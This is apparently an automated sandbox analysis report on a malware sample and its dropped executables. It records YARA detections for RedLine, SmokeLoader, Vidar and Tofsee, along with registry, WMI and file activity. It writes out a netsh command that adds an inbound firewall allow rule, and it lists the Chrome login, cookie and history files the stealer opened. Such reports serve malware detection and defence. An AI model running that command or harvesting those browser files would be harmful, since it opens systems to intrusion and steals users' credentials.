Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	0_2_00437FB0
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	17_2_00437060
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	17_2_004379A0
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,	17_2_00424230
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	17_2_0043FCC0
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	17_2_00437CF0
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	17_2_0043FD30
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,_isdigit,	17_2_00432530
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,	18_2_00423950
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	18_2_00438150
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	18_2_004403E0
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	18_2_00437440
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	18_2_00440450
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,	18_2_00434510
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	18_2_00437D80
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,	31_2_00423950
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	31_2_00438150
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	31_2_004403E0
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	31_2_00437440
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	31_2_00440450
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,	31_2_00434510
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	31_2_00437D80

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CBA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CBA.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2757.exe VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 0_2_00432800 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00432800

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_0040B211 FileTimeToSystemTime,GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,SystemTimeToFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,

18_2_0040B211

Source: C:\Users\user\AppData\Local\Temp\18D.exe

18_2_00407809

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

18_2_0040405E

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00409326 GetVersionExA,GetModuleHandleA,GetModuleFileNameA,wsprintfA,wsprintfA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,

18_2_00409326

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000009.00000002.519463361.0000021174C3D000.00000004.00000001.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000009.00000002.519523482.0000021174D02000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.574771565.0000000001621000.00000004.00000020.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 33.0.CBA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.CBA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.CBA.exe.423fe20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.CBA.exe.423fe20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.609571282.0000000003AA7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.403620699.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.401238970.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.515289620.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.484873099.00000000034F2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.491680197.00000000009A3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.552523209.0000000002515000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.403113050.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.571203673.00000000029E0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.568085789.0000000002810000.00000004.00020000.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.haifbcd.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nkINykHreE.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.115B.exe.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.282842442.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370053936.0000000000751000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352429754.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.297306514.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.444174815.0000000000951000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352266837.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.297326406.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370019662.0000000000620000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.442728079.0000000000630000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000002F.00000002.595854272.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.574522590.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.566415908.0000000000961000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.525192064.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.533111165.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.469387095.0000000000980000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.476837740.0000000000ED0000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 18.2.18D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sdiimdop.exe.570000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.18D.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.395236716.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.550647204.0000000002BB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396983806.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.369452134.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18D.exe PID: 4992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sdiimdop.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5180, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 0000002F.00000002.595854272.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.574522590.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.566415908.0000000000961000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.574236563.000000000074E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.525192064.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.571891585.0000000002B14000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.533111165.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.469387095.0000000000980000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.476837740.0000000000ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CBA.exe PID: 7052, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 33.0.CBA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.CBA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.CBA.exe.423fe20.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.CBA.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.CBA.exe.423fe20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.609571282.0000000003AA7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.403620699.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.401238970.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.515289620.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.484873099.00000000034F2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.491680197.00000000009A3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.552523209.0000000002515000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.403113050.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.571203673.00000000029E0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.568085789.0000000002810000.00000004.00020000.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.haifbcd.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.nkINykHreE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nkINykHreE.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.115B.exe.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.haifbcd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.115B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.282842442.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370053936.0000000000751000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352429754.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.297306514.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.444174815.0000000000951000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.352266837.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
